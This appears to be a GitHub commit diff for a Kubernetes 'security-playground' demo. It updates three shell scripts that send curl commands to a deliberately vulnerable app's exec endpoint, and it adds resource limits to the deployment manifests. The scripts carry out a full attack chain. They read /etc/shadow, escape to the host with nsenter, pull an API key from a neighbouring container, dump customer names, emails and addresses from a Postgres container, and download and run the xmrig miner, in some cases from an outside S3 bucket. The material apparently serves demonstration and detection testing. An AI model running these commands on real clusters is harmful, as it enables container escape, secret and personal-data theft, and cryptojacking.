Skip to content

Commit 34cecd4

Browse files
Updated to multi-arch (M1) and added limits
1 parent c6bbd47 commit 34cecd4

File tree

6 files changed

+78
-45
lines changed

6 files changed

+78
-45
lines changed

example-curls-nodrift.sh

Lines changed: 19 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
NODE_IP=$(kubectl get nodes -o wide | awk 'FNR == 2 {print $6}')
55
NODE_PORT=30002
66

7-
echo "1. Exploit reading our /etc/shadow file and sending it back to us"
7+
echo "1. Read a sensitive file (/etc/shadow)"
88
curl $NODE_IP:$NODE_PORT/etc/shadow
99

1010
echo "2. Exploit writing to /bin"
@@ -15,26 +15,30 @@ curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 /bin/hello'
1515
echo "and then run it"
1616
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=hello'
1717

18-
echo "3. Exploit installing nmap and running a scan"
18+
echo "3. Install nmap from apt and then run a scan"
1919
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=apt-get update; apt-get -y install nmap;nmap -v scanme.nmap.org'
2020

21-
echo "4. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
22-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl https://z9k65lokhn70.s3.amazonaws.com/install-crictl.sh | bash'
21+
echo "4. Break out of our Linux namespace to the host's with nsenter and install crictl in /usr/bin"
22+
ARCH=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=dpkg --print-architecture')
23+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 wget -q https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.26.1/crictl-v1.26.1-linux-$ARCH.tar.gz"
24+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 tar -zxvf crictl-v1.26.1-linux-$ARCH.tar.gz -C /usr/bin"
2325

24-
echo "5. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
26+
echo "5. Break out of our Linux namespace to the host's with nsenter and talk directly to the container runtime"
2527
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps'
2628

27-
echo "6. Exfil some data from another container running on the same Node"
29+
echo "6. Steal a secret from another container on the same Node (hello-client-allowed in the team1 Namespace)"
30+
HELLO_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name hello-client-allowed -q')
31+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $HELLO_ID /bin/sh -c set" | grep API_KEY
32+
33+
echo "7. Exfil some data from another container running on the same Node"
2834
POSTGRES_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name postgres-sakila -q')
2935
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
3036

31-
echo "7. Call the Kubernetes API via security-playground's K8s ServiceAccount"
32-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl -O https://s3.us-west-2.amazonaws.com/amazon-eks/1.26.4/2023-05-11/bin/linux/amd64/kubectl'
33-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 ./kubectl'
34-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=./kubectl create deployment nefarious-workload --image=public.ecr.aws/m9h2b5e7/security-playground:110623'
35-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=./kubectl get pods'
36-
37-
echo "8. Exploit running a script to run a crypto miner"
38-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
37+
echo "8. Download and run a common crypto miner (xmrig)"
38+
if [[ "$ARCH" == "amd64" ]]; then
39+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=wget https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-linux-static-x64.tar.gz -O xmrig.tar.gz"
40+
else
41+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=wget https://z9k65lokhn70.s3.amazonaws.com/xmrig-6.20.0-linux-static-arm64.tar.gz -O xmrig.tar.gz"
42+
fi
3943
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
40-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'
44+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=xmrig-6.20.0/xmrig'

example-curls-restricted.sh

Lines changed: 19 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
NODE_IP=$(kubectl get nodes -o wide | awk 'FNR == 2 {print $6}')
55
NODE_PORT=30001
66

7-
echo "1. Exploit reading our /etc/shadow file and sending it back to us"
7+
echo "1. Read a sensitive file (/etc/shadow)"
88
curl $NODE_IP:$NODE_PORT/etc/shadow
99

1010
echo "2. Exploit writing to /bin"
@@ -15,26 +15,30 @@ curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 /bin/hello'
1515
echo "and then run it"
1616
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=hello'
1717

18-
echo "3. Exploit installing nmap and running a scan"
18+
echo "3. Install nmap from apt and then run a scan"
1919
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=apt-get update; apt-get -y install nmap;nmap -v scanme.nmap.org'
2020

21-
echo "4. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
22-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl https://z9k65lokhn70.s3.amazonaws.com/install-crictl.sh | bash'
21+
echo "4. Break out of our Linux namespace to the host's with nsenter and install crictl in /usr/bin"
22+
ARCH=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=dpkg --print-architecture')
23+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 wget -q https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.26.1/crictl-v1.26.1-linux-$ARCH.tar.gz"
24+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 tar -zxvf crictl-v1.26.1-linux-$ARCH.tar.gz -C /usr/bin"
2325

24-
echo "5. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
26+
echo "5. Break out of our Linux namespace to the host's with nsenter and talk directly to the container runtime"
2527
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps'
2628

27-
echo "6. Exfil some data from another container running on the same Node"
29+
echo "6. Steal a secret from another container on the same Node (hello-client-allowed in the team1 Namespace)"
30+
HELLO_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name hello-client-allowed -q')
31+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $HELLO_ID /bin/sh -c set" | grep API_KEY
32+
33+
echo "7. Exfil some data from another container running on the same Node"
2834
POSTGRES_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name postgres-sakila -q')
2935
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
3036

31-
echo "7. Call the Kubernetes API via security-playground's K8s ServiceAccount"
32-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl -O https://s3.us-west-2.amazonaws.com/amazon-eks/1.26.4/2023-05-11/bin/linux/amd64/kubectl'
33-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 ./kubectl'
34-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=./kubectl create deployment nefarious-workload --image=public.ecr.aws/m9h2b5e7/security-playground:110623'
35-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=./kubectl get pods'
36-
37-
echo "8. Exploit running a script to run a crypto miner"
38-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
37+
echo "8. Download and run a common crypto miner (xmrig)"
38+
if [[ "$ARCH" == "amd64" ]]; then
39+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=wget https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-linux-static-x64.tar.gz -O xmrig.tar.gz"
40+
else
41+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=wget https://z9k65lokhn70.s3.amazonaws.com/xmrig-6.20.0-linux-static-arm64.tar.gz -O xmrig.tar.gz"
42+
fi
3943
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
40-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'
44+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=xmrig-6.20.0/xmrig'

example-curls.sh

Lines changed: 19 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
NODE_IP=$(kubectl get nodes -o wide | awk 'FNR == 2 {print $6}')
55
NODE_PORT=30000
66

7-
echo "1. Exploit reading our /etc/shadow file and sending it back to us"
7+
echo "1. Read a sensitive file (/etc/shadow)"
88
curl $NODE_IP:$NODE_PORT/etc/shadow
99

1010
echo "2. Exploit writing to /bin"
@@ -15,26 +15,30 @@ curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 /bin/hello'
1515
echo "and then run it"
1616
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=hello'
1717

18-
echo "3. Exploit installing nmap and running a scan"
18+
echo "3. Install nmap from apt and then run a scan"
1919
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=apt-get update; apt-get -y install nmap;nmap -v scanme.nmap.org'
2020

21-
echo "4. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
22-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl https://z9k65lokhn70.s3.amazonaws.com/install-crictl.sh | bash'
21+
echo "4. Break out of our Linux namespace to the host's with nsenter and install crictl in /usr/bin"
22+
ARCH=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=dpkg --print-architecture')
23+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 wget -q https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.26.1/crictl-v1.26.1-linux-$ARCH.tar.gz"
24+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 tar -zxvf crictl-v1.26.1-linux-$ARCH.tar.gz -C /usr/bin"
2325

24-
echo "5. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
26+
echo "5. Break out of our Linux namespace to the host's with nsenter and talk directly to the container runtime"
2527
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps'
2628

27-
echo "6. Exfil some data from another container running on the same Node"
29+
echo "6. Steal a secret from another container on the same Node (hello-client-allowed in the team1 Namespace)"
30+
HELLO_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name hello-client-allowed -q')
31+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $HELLO_ID /bin/sh -c set" | grep API_KEY
32+
33+
echo "7. Exfil some data from another container running on the same Node"
2834
POSTGRES_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name postgres-sakila -q')
2935
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
3036

31-
echo "7. Call the Kubernetes API via security-playground's K8s ServiceAccount"
32-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl -O https://s3.us-west-2.amazonaws.com/amazon-eks/1.26.4/2023-05-11/bin/linux/amd64/kubectl'
33-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 ./kubectl'
34-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=./kubectl create deployment nefarious-workload --image=public.ecr.aws/m9h2b5e7/security-playground:110623'
35-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=./kubectl get pods'
36-
37-
echo "8. Exploit running a script to run a crypto miner"
38-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
37+
echo "8. Download and run a common crypto miner (xmrig)"
38+
if [[ "$ARCH" == "amd64" ]]; then
39+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=wget https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-linux-static-x64.tar.gz -O xmrig.tar.gz"
40+
else
41+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=wget https://z9k65lokhn70.s3.amazonaws.com/xmrig-6.20.0-linux-static-arm64.tar.gz -O xmrig.tar.gz"
42+
fi
3943
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
40-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'
44+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=xmrig-6.20.0/xmrig'

security-playground-nodrift.yaml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,13 @@ spec:
3838
port: http
3939
securityContext:
4040
privileged: true
41+
resources:
42+
requests:
43+
memory: "256Mi"
44+
cpu: "250m"
45+
limits:
46+
memory: "512Mi"
47+
cpu: "500m"
4148
---
4249
apiVersion: v1
4350
kind: Service

security-playground-restricted.yaml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,13 @@ spec:
5050
allowPrivilegeEscalation: false
5151
capabilities:
5252
drop: ["ALL"]
53+
resources:
54+
requests:
55+
memory: "256Mi"
56+
cpu: "250m"
57+
limits:
58+
memory: "512Mi"
59+
cpu: "500m"
5360
---
5461
apiVersion: v1
5562
kind: Service

security-playground.yaml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,13 @@ spec:
6262
port: http
6363
securityContext:
6464
privileged: true
65+
resources:
66+
requests:
67+
memory: "256Mi"
68+
cpu: "250m"
69+
limits:
70+
memory: "512Mi"
71+
cpu: "500m"
6572
---
6673
apiVersion: v1
6774
kind: Service

0 commit comments

Comments
 (0)